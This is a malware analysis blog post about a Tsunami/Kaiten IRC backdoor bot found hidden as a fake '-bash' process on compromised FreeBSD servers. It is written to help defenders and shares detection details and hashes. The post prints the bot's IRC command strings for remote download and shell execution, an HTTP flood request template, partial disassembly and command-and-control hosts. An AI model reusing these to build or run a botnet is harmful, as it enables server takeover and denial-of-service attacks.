For the recent information of malware/hack incidents that are utilizing Tsunami/Kaiten basis malware to IoT(routers) & NIX boxes can be read in here-->[LINK]
Snapshot:
Summary
Sadly, some strong waves of malware attacks on UNIX systems has started early this year. We still remember the rush from the Darkleech Rogue Apache Module, goes to Linux cDorked Rogue httpd, to the implementation of rogue web server binaries on other popular web servers like NGNIX and other web servers.
Today I was asked to help fellow unixmen who maintain services based on a generic xBSD which detected some strange activities on IRC port access from several online machines. I was not hoping to see the cDorked or Darkleech new samples or common Linux threat on this one, as a FreeBSD users & fan I know how good the security is, but I guess I was wrong.
This case is actually a same old flaw's story: looks like the system was exploited via web admin panel abuse by HTTP access (sorry, can not tell you which web panel right now) using the tools that can send rapid packet fetch/wget requests (later on we know that the malware discussed here also have that function), the root privilege was gained via crontab UID (root, indeed), and practically overall server's security was compromised from that hole. And the bad guys was compiling nasty downloader/IRC Bot backdoor (known previously named as TSUNAMI) with deleting all source traces+logs related, thus run & hide its service using the fake bash process (ever see a BSD system with bash shell process before? *smile*).
First Handle Analysis
I think is important to share this experience on what to do at the time like this, so I dare myself to write it, with hoping not to step on other's toes. The rule is simple, if they took the root & we take the service offline, no matter what.
OK, shortly, went to the system to find the strange "-bash" process was running:
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 96606 0.0 0.2 95939 1096 ?? Ss 28Feb13 0:19.87 -bashI quickly listen (netstat) to the outbounds to find that the irc ports was trying to be connected:
Active Internet connections Proto Recv-Q Send-Q Local Address Foreign Address (state) ---------------------------------------------------------------------------- // for IRC.... tcp4 0 0 x.x.x.x.59314 188.190.124.81.ircd SYN_SENT tcp4 0 0 x.x.x.x.60606 188.190.124.81.ircd SYN_SENT tcp4 0 0 x.x.x.x.46914 188.190.124.81.ircd SYN_SENT tcp4 0 0 x.x.x.x.53001 188.190.124.81.ircd SYN_SENT tcp4 0 0 x.x.x.x.50123 188.190.124.81.ircd SYN_SENT tcp4 0 0 x.x.x.x.36833 188.190.124.81.ircd SYN_SENT [...]And all of the sudden, frequently the FTP access was coming up:
Active Internet connections Proto Recv-Q Send-Q Local Address Foreign Address (state) ---------------------------------------------------------------------------- // for FTP.... tcp4 0 0 x.x.x.x.64873 wf.networksoluti.ftp SYN_SENT tcp4 0 0 x.x.x.x.64873 wf.networksoluti.ftp SYN_SENT [...]Just to be sure, firing lsof on other compromised machine for confirming, and found the same condition:
-bash 95939 root cwd VDIR 0,99 1024 869616 /{Directory of the malware}
-bash 95939 root rtd VDIR 0,99 1024 2 /
-bash 95939 root txt VREG 0,99 18902 870081 {Directory of the malware}/-bash
-bash 95939 root txt VREG 0,99 229192 94984 /libexec/ld-elf.so.1
-bash 95939 root txt VREG 0,99 1172708 615898 /lib/libc.so.7
-bash 95939 root 0u VCHR 0,105 0t31989 105 /dev/pts/0
-bash 95939 root 1u VCHR 0,105 0t31989 105 /dev/pts/0
-bash 95939 root 2u VCHR 0,105 0t31989 105 /dev/pts/0
-bash 95939 root 3u VREG 0,99 0 539122 "/tmp/tan.pid"
-bash 95939 root 4u IPv4 0xc38b4560 0t0 "TCP x.x.x.x:65114->188.190.124.81:ircd (SYN_SENT)"
[...]This is never be good since all of the requests coming fromthe PID of that "-bash". So I took procedure to take machine offline and continue the analysis.
This is the binary responsible to this disaster, saved in the $TMP:
$ ls -alF -rwxr-xr-x 1 xxx xxx 18902 May 02 15:11 -bash*Comparing the dates of process and file time-stamp will lead you to /dev/null so just ignore those and stick to the logs and dumps that might occurred for any traces(if we lucky).
In most machines we got no infection trace on this binary, but one machine which has snapshots leaving a compile trails in logs at a mirror backup storage:
k.c:91: warning: conflicting types for built-in function 'pow' k.c:586:2: warning: no newline at end of fileAha, it seems that someone compiled this, you see that the source was in C/C++..
(Seek the source everywhere but couldn't find it.. must be deleted..)
At that point I got no other options but to tear it. apart.. So here we go;
Binary Analysis
Binary structure, is an ELF:
file format elf32-i386 architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08048d20The ELF header:
ELF Header: Magic: 7f 45 4c 46 01 01 01 09 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - FreeBSD ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048d20 Start of program headers: 52 (bytes into file) Start of section headers: 13864 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 40 (bytes) Number of section headers: 28 Section header string table index: 25Hex:
0000 7F 45 4C 46 01 01 01 09 00 00 00 00 00 00 00 00 .ELF............ 0010 02 00 03 00 01 00 00 00 20 8D 04 08 34 00 00 00 ........ ...4... 0020 28 36 00 00 00 00 00 00 34 00 20 00 08 00 28 00 (6......4. ...(. 0030 1C 00 19 00 06 00 00 00 34 00 00 00 34 80 04 08 ........4...4... 0040 34 80 04 08 00 01 00 00 00 01 00 00 05 00 00 00 4............... 0050 04 00 00 00 03 00 00 00 34 01 00 00 34 81 04 08 ........4...4... 0060 34 81 04 08 15 00 00 00 15 00 00 00 04 00 00 00 4............... 0070 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 ................ 0080 00 80 04 08 94 30 00 00 94 30 00 00 05 00 00 00 .....0...0...... 0090 00 10 00 00 01 00 00 00 94 30 00 00 94 C0 04 08 .........0...... 00A0 94 C0 04 08 6C 02 00 00 10 09 00 00 06 00 00 00 ....l........... 00B0 00 10 00 00 02 00 00 00 A8 30 00 00 A8 C0 04 08 .........0...... 00C0 A8 C0 04 08 C8 00 00 00 C8 00 00 00 06 00 00 00 ................ 00D0 04 00 00 00 04 00 00 00 4C 01 00 00 4C 81 04 08 ........L...L... 00E0 4C 81 04 08 18 00 00 00 18 00 00 00 04 00 00 00 L............... 00F0 04 00 00 00 50 E5 74 64 48 30 00 00 48 B0 04 08 ....P.tdH0..H... 0100 48 B0 04 08 14 00 00 00 14 00 00 00 04 00 00 00 H............... 0110 04 00 00 00 51 E5 74 64 00 00 00 00 00 00 00 00 ....Q.td........ 0120 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 ................ 0130 04 00 00 00 2F 6C 69 62 65 78 65 63 2F 6C 64 2D ..../libexec/ld- 0140 65 6C 66 2E 73 6F 2E 31 00 00 00 00 08 00 00 00 elf.so.1........I'd say the attacker are not preparing to aim FreeBSD but they just lucky to get the ones with the good Linux compatibility.
Dynamic Section:
(Why I always seek this section? because: the dependent binaries and functions for the linker are here) NEEDED libc.so.7 INIT 0x8048a00 FINI 0x804a97c HASH 0x8048164 STRTAB 0x804864c SYMTAB 0x80482dc STRSZ 0x196 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x804c170 PLTRELSZ 0x178 PLTREL 0x11 JMPREL 0x8048888 REL 0x8048870 RELSZ 0x18 RELENT 0x8 VERNEED 0x8048850 VERNEEDNUM 0x1 VERSYM 0x80487e2 [...]Let's check the sections:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000015 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 0804814c 00014c 000018 00 A 0 0 4 [ 3] .hash HASH 08048164 000164 000178 04 A 4 0 4 [ 4] .dynsym DYNSYM 080482dc 0002dc 000370 10 A 5 1 4 [ 5] .dynstr STRTAB 0804864c 00064c 000196 00 A 0 0 1 [ 6] .gnu.version VERSYM 080487e2 0007e2 00006e 02 A 4 0 2 [ 7] .gnu.version_r VERNEED 08048850 000850 000020 00 A 5 1 4 [ 8] .rel.dyn REL 08048870 000870 000018 08 A 4 0 4 [ 9] .rel.plt REL 08048888 000888 000178 08 A 4 11 4 [10] .init PROGBITS 08048a00 000a00 000011 00 AX 0 0 4 [11] .plt PROGBITS 08048a14 000a14 000300 04 AX 0 0 4 [12] .text PROGBITS 08048d20 000d20 001c5c 00 AX 0 0 16 [13] .fini PROGBITS 0804a97c 00297c 00000c 00 AX 0 0 4 [14] .rodata PROGBITS 0804a988 002988 0006bf 00 A 0 0 4 [15] .eh_frame_hdr PROGBITS 0804b048 003048 000014 00 A 0 0 4 [16] .eh_frame PROGBITS 0804b05c 00305c 000038 00 A 0 0 4 [17] .ctors PROGBITS 0804c094 003094 000008 00 WA 0 0 4 [18] .dtors PROGBITS 0804c09c 00309c 000008 00 WA 0 0 4 [19] .jcr PROGBITS 0804c0a4 0030a4 000004 00 WA 0 0 4 [20] .dynamic DYNAMIC 0804c0a8 0030a8 0000c8 08 WA 5 0 4 [21] .got.plt PROGBITS 0804c170 003170 0000c8 04 WA 0 0 4 [22] .data PROGBITS 0804c240 003240 0000c0 00 WA 0 0 32 [23] .bss NOBITS 0804c300 003300 0006a4 00 WA 0 0 32 [24] .comment PROGBITS 00000000 003300 000248 00 0 0 1 [25] .shstrtab STRTAB 00000000 003548 0000e0 00 0 0 1 [26] .symtab SYMTAB 00000000 003a88 000950 10 27 48 4 [27] .strtab STRTAB 00000000 0043d8 0005fe 00 0 0 1Tips for the unknown system: Is important to see the comments, to be sure it was compiled in the victim's environment (I did this to all infected m/c samples)
// Contents of section .comment: 0000 00244672 65654253 443a2072 656c656e .$FreeBSD: relen 0010 672f392e 302f6c69 622f6373 752f6933 g/9.0/lib/csu/i3 0020 38362d65 6c662f63 7274315f 732e5320 86-elf/crt1_s.S 0030 32313733 38332032 3031312d 30312d31 217383 2011-01-1 0040 33203233 3a30303a 32325a20 6b696220 3 23:00:22Z kib 0050 24000024 46726565 4253443a 2072656c $..$FreeBSD: relBy firing rabin I got the imports symbol:
[Imports] 48 imports /* ＜======== noted */ _Jv_RegisterClasses __error __inet_addr _init_tls atexit bcopy close [...]And these are malicious command activities used:
gethostbyname connect sleep setsockopt fopen vsprintf time __isthreaded strtok write environ flock socket fork free srand popen strdup strcpy [...] [...]Got some traces on HTTP connectivity:
http:// cvv4you.ru // hosts... 188.190.124.120 GET /%s HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686) Host: %s:80 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8IRC Messages:
PRIVMSG %s :GETIRC Commands:PRIVMSG %s :Unable to create socket. PRIVMSG %s :Unable to resolve address. PRIVMSG %s :Unable to connect to http.
PRIVMSG %s :Receiving file. PRIVMSG %s :Saved as %s PRIVMSG %s :NICK ＜nick＞ PRIVMSG %s :Nick cannot be larger than 9 characters. NICK %s PRIVMSG %s :Unable to resolve %s PRIVMSG %s :MOVE ＜server＞ NOTICE %s :NICK ＜nick＞ = Changes the nick of the client NOTICE %s :SERVER ＜server＞ = Changes servers NOTICE %s :KILL = Kills the client NOTICE %s :GET ＜http address＞ ＜save as＞ = Downloads a file off the web and saves it onto the hd NOTICE %s :HELP = Displays this NOTICE %s :IRC ＜command＞ = send_msgs this command to the server NOTICE %s :SH ＜command＞ = Executes a command NICK SERVER KILL HELP IRC PRIVMSG %s :%s MODE %s -ix NICK %s JOIN %s :%s WHO %s PONG %s PRIVMSG %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually. PRIVMSG PINGTraces of read/write strings manipulation in C/Unix:
fputc fgetsAt this point also I saw the PID control traces:
// PID hooks: waitpid /tmp/tan.pid Lockfile found. Exiting. - bash // malware process..I confirmed the the admins that infected xBSD systems wasn't affected but on linux the below system commands will exactly bring a chaos:
export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%sBut these commands does:
gethostbyname kill environ
A quick Reversing
Practically, if you do up to the above steps then you can make a very good report about this incident, is just to my curiosity I reversed it to find the important functions used below:
Messaging..
// ref: unix socket programming // send_msg uses a global variable buffer # 08048fc0 ＜send_msg＞: 08048fc0: push %ebp 08048fc1: mov %esp,%ebp 08048fc3: sub $0x28,%esp 08048fc6: lea 0x10(%ebp),%eax 08048fc9: mov %eax,-0x4(%ebp) 08048fcc: mov -0x4(%ebp),%eax 08048fcf: mov %eax,0x8(%esp) 08048fd3: mov 0xc(%ebp),%eax 08048fd6: mov %eax,0x4(%esp) 08048fda: movl $0x804c340,(%esp) 08048fe1: call 0x08048c74 ＜vsprintf@plt＞ 08048fe6: movl $0x804c340,(%esp) 08048fed: call 0x08048b84 ＜strlen@plt＞ 08048ff2: mov %eax,0x8(%esp) 08048ff6: movl $0x804c340,0x4(%esp) 08048ffe: mov 0x8(%ebp),%eax 08049001: mov %eax,(%esp) 08049004: call 0x08048cf4 ＜write@plt＞ 08049009: leave 0804900a: ret 0804900b: nopA self-lookups...
# 08049730 ＜host2ip＞: 08049730: push %ebp 08049731: mov %esp,%ebp 08049733: sub $0x28,%esp 08049736: mov 0xc(%ebp),%eax 08049739: mov %eax,(%esp) 0804973c: call 0x08048a94 ＜__inet_addr@plt＞ 08049741: mov %eax,0x804c740 08049746: mov 0x804c740,%eax 0804974b: cmp $0xffffffff,%eax 0804974e: jne 0x080497b7 ＜host2ip+0x87＞ 08049750: mov 0xc(%ebp),%eax 08049753: mov %eax,(%esp) 08049756: call 0x08048c14 ＜gethostbyname@plt＞ 0804975b: mov %eax,-0x4(%ebp) 0804975e: cmpl $0x0,-0x4(%ebp) 08049762: jne 0x08049793 ＜host2ip+0x63＞ 08049764: mov 0x804c760,%eax 08049769: mov 0xc(%ebp),%edx 0804976c: mov %edx,0xc(%esp) 08049770: mov 0x8(%ebp),%edx 08049773: mov %edx,0x8(%esp) 08049777: movl $0x804abf8,0x4(%esp) 0804977f: mov %eax,(%esp) 08049782: call 0x08048fc0 ＜send_msg＞ 08049787: movl $0x0,(%esp) 0804978e: call 0x08048cb4 ＜exit@plt＞ 08049793: mov -0x4(%ebp),%eax 08049796: mov 0xc(%eax),%eax 08049799: mov %eax,%edx 0804979b: mov -0x4(%ebp),%eax 0804979e: mov 0x10(%eax),%eax 080497a1: mov (%eax),%eax 080497a3: mov %edx,0x8(%esp) 080497a7: movl $0x804c740,0x4(%esp) 080497af: mov %eax,(%esp) 080497b2: call 0x08048c44 ＜bcopy@plt＞ 080497b7: mov 0x804c740,%eax 080497bc: leave 080497bd: ret 080497be: xchg %ax,%axThis is how it grab stuff from "mother" remote host:
# 080492a0 ＜get＞: 080492a0: push %ebp 080492a1: mov %esp,%ebp 080492a3: push %ebx 080492a4: sub $0x1454,%esp 080492aa: mov 0xc(%ebp),%eax 080492ad: mov %eax,(%esp) 080492b0: call 0x08049010 ＜mfork＞ 080492b5: test %eax,%eax 080492b7: jne 0x0804969e ＜get+0x3fe＞ 080492bd: cmpl $0x1,0x10(%ebp) 080492c1: jg 0x080492e9 ＜get+0x49＞ 080492c3: mov 0xc(%ebp),%eax 080492c6: mov %eax,0x8(%esp) 080492ca: movl $0x804a9a8,0x4(%esp) 080492d2: mov 0x8(%ebp),%eax 080492d5: mov %eax,(%esp) 080492d8: call 0x08048fc0 ＜send_msg＞ 080492dd: movl $0x0,(%esp) 080492e4: call 0x08048cb4 ＜exit@plt＞ 080492e9: movl $0x0,0x8(%esp) 080492f1: movl $0x1,0x4(%esp) 080492f9: movl $0x2,(%esp) 08049300: call 0x08048ae4 ＜socket@plt＞ 08049305: mov %eax,-0x28(%ebp) 08049308: cmpl $0xffffffff,-0x28(%ebp) 0804930c: jne 0x08049334 ＜get+0x94＞ [...]Checksum of the grabs...
# 08049210 ＜in_cksum＞: 08049210: push %ebp 08049211: mov %esp,%ebp 08049213: sub $0x1c,%esp 08049216: mov 0xc(%ebp),%eax 08049219: mov %eax,-0x1c(%ebp) 0804921c: mov 0x8(%ebp),%edx 0804921f: mov %edx,-0x18(%ebp) 08049222: movl $0x0,-0x14(%ebp) 08049229: movw $0x0,-0x2(%ebp) 0804922f: jmp 0x08049245 ＜in_cksum+0x35＞ 08049231: mov -0x18(%ebp),%edx 08049234: movzwl (%edx),%eax 08049237: movzwl %ax,%eax 0804923a: add %eax,-0x14(%ebp) 0804923d: addl $0x2,-0x18(%ebp) 08049241: subl $0x2,-0x1c(%ebp) 08049245: cmpl $0x1,-0x1c(%ebp) 08049249: jg 0x08049231 ＜in_cksum+0x21＞ 0804924b: cmpl $0x1,-0x1c(%ebp) 0804924f: jne 0x08049266 ＜in_cksum+0x56＞ 08049251: lea -0x2(%ebp),%edx 08049254: mov -0x18(%ebp),%eax [...]move stuff to somewhere else...
# 080497c0 ＜move＞: 080497c0: push %ebp 080497c1: mov %esp,%ebp 080497c3: sub $0x18,%esp 080497c6: cmpl $0x0,0x10(%ebp) 080497ca: jg 0x080497f2 ＜move+0x32＞ 080497cc: mov 0xc(%ebp),%eax 080497cf: mov %eax,0x8(%esp) 080497d3: movl $0x804ac1a,0x4(%esp) 080497db: mov 0x8(%ebp),%eax 080497de: mov %eax,(%esp) 080497e1: call 0x08048fc0 ＜send_msg＞ 080497e6: movl $0x1,(%esp) 080497ed: call 0x08048cb4 ＜exit@plt＞ 080497f2: mov 0x14(%ebp),%eax 080497f5: add $0x4,%eax 080497f8: mov (%eax),%eax 080497fa: mov %eax,(%esp) 080497fd: call 0x08048b34 ＜strdup@plt＞ 08049802: mov %eax,0x804c888 08049807: movl $0x1,0x804c320 08049811: mov 0x8(%ebp),%eax 08049814: mov %eax,(%esp) 08049817: call 0x08048b54 ＜close@plt＞ 0804981c: leave 0804981d: ret 0804981e: xchg %ax,%axTermination of self created process (hooked at IRC/FTP timeout retries access)
# 08049820 ＜killd＞: 08049820: push %ebp 08049821: mov %esp,%ebp 08049823: sub $0x8,%esp 08049826: movl $0x9,0x4(%esp) 0804982e: movl $0x0,(%esp) 08049835: call 0x08048cc4 ＜kill@plt＞ 0804983a: leave 0804983b: ret 0804983c: lea 0x0(%esi),%esiThe below are functions related to the (strongly suspected) flood operation:
# 08049010 ＜mfork＞: 08049010: push %ebp 08049011: mov %esp,%ebp 08049013: sub $0x18,%esp 08049016: call 0x08048a84 ＜fork@plt＞ 0804901b: mov %eax,-0xc(%ebp) 0804901e: cmpl $0x0,-0xc(%ebp) 08049022: jne 0x0804902f ＜mfork+0x1f＞ 08049024: mov -0xc(%ebp),%eax 08049027: mov %eax,-0x14(%ebp) 0804902a: jmp 0x080490bb ＜mfork+0xab＞ [...] # 08049120 ＜makestring＞: 08049120: push %ebp 08049121: mov %esp,%ebp 08049123: push %esi 08049124: push %ebx 08049125: sub $0x30,%esp 08049128: movl $0x9,-0x10(%ebp) 0804912f: mov -0x10(%ebp),%eax 08049132: add $0x1,%eax 08049135: mov %eax,(%esp) 08049138: call 0x08048a24 ＜malloc@plt＞ 0804913d: mov %eax,-0x14(%ebp) 08049140: mov -0x10(%ebp),%eax 08049143: add $0x1,%eax 08049146: mov %eax,0x8(%esp) 0804914a: movl $0x0,0x4(%esp) 08049152: mov -0x14(%ebp),%eax 08049155: mov %eax,(%esp) 08049158: call 0x08048c94 ＜memset@plt＞ 0804915d: movl $0x0,-0xc(%ebp) 08049164: jmp 0x080491a8 ＜makestring+0x88＞ 08049166: mov -0xc(%ebp),%eax [...] # 080491c0 ＜pow＞: // we saw the compilation warning on this one.. :-) 080491c0: push %ebp 080491c1: mov %esp,%ebp 080491c3: sub $0xc,%esp 080491c6: cmpl $0x0,0xc(%ebp) 080491ca: jne 0x080491d5 ＜pow+0x15＞ 080491cc: movl $0x1,-0x4(%ebp) 080491d3: jmp 0x08049201 ＜pow+0x41＞ 080491d5: cmpl $0x1,0xc(%ebp) 080491d9: jne 0x080491e3 ＜pow+0x23＞ 080491db: mov 0x8(%ebp),%eax 080491de: mov %eax,-0x4(%ebp) 080491e1: jmp 0x08049201 ＜pow+0x41＞ 080491e3: mov 0xc(%ebp),%eax 080491e6: sub $0x1,%eax [...] And there are so many more...** For a complete reverse note you'll find it here-->>[Pastebin] **
What does it do?
Below are the malware functions that I gathered:
Usage the INET socket to make internet connection via IRC, HTTP or FTP Locking itself in specific PID to avoid double starts/killed. Forking functionalities. Remote control Bot-IRC functions like: a. Remote FTP access for infecting further b. Commands like: NICK, SERVER, KILL, GET, HELP, ETC, SH; are the basic commmands used c. Custom commands like; _352, _376, _433 for botnet comm purpose. d. IMPORTANT! Flooding Operation is implemented in the program, w/ below HTTP header: ......GET /%s HTTP/1.0\ ......Connection: Keep-Alive ......User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686) ......Host: %s:80\ ......Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* ......Accept-Encoding: gzip\r\nAccept-Language: en ......Accept-Charset: iso-8859-1,*,utf-8 ......(Following by long characters assembled via IRC command instructions)Practically, upon started it tries to connect to IRC at below host:
cvv4you.ru 188.190.124.120 188.190.124.81It then wait for the boss to connect, to perform some malicious acts.
All of the further hack was implemented via FTP and HTTP used for flood.
For the FTP, it tries to get some stuff in the below host:
Hostname: wf.networksolution.com Address: 205.178.189.131↑There should be some bad stuffs in there.
Sample! Sample!
Yes, since I know how hard it feels for not being shared samples, I am currently waiting for permission to share some samples for research purpose, so please hold on. But right now we're allowed to scan it in Virus Total :-) here's the url >>>Link
Here's the details:
SHA256: 6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e SHA1: 13aa008b0f3c9e92450979ee52cb46accf49aff3 MD5: 6547b92156b39cb3bb5371b17d2488f2 File size: 18.5 KB ( 18902 bytes ) File name: -bash File type: ELF Tags: elf Detection ratio: 7 / 47 Analysis date: 2013-05-30 11:37:36 UTC ( 4 minutes ago ) F-Secure : Generic.Malware.IFg.985D9435 GData : ELF:Tsunami-L MicroWorld-eScan : Generic.Malware.IFg.985D9435 Avast : ELF:Tsunami-L [Trj] Kaspersky : Backdoor.Linux.Tsunami.gen BitDefender : Generic.Malware.IFg.985D9435 Emsisoft : Generic.Malware.IFg.985D9435 (B)
Additional:
(1) After some research, I found this malware is known by its self compiled method on a hacked machine. Well known as Kaiten a Linux/Unix DDOS IRC Bot←thank's for the @exitthematrix of KM. (2) The similar attack was also found in the site with the Ruby on Rails Web Admin Panel vulnerability posted by Mr. Jeff Jarmoc in his site jarmoc.com, he detected the traces of source code used during compilation of the malware and posted it in his blog here -->>[JARMOC.COM]. After some comparison I found the strong possibility that the same malware code and same bad actor was used in both case. Since the both findings was detected in so near time, I bet there are other servers also under attack with the similar pattern and malware so please check your system regularly.
MalwareMustDie!!
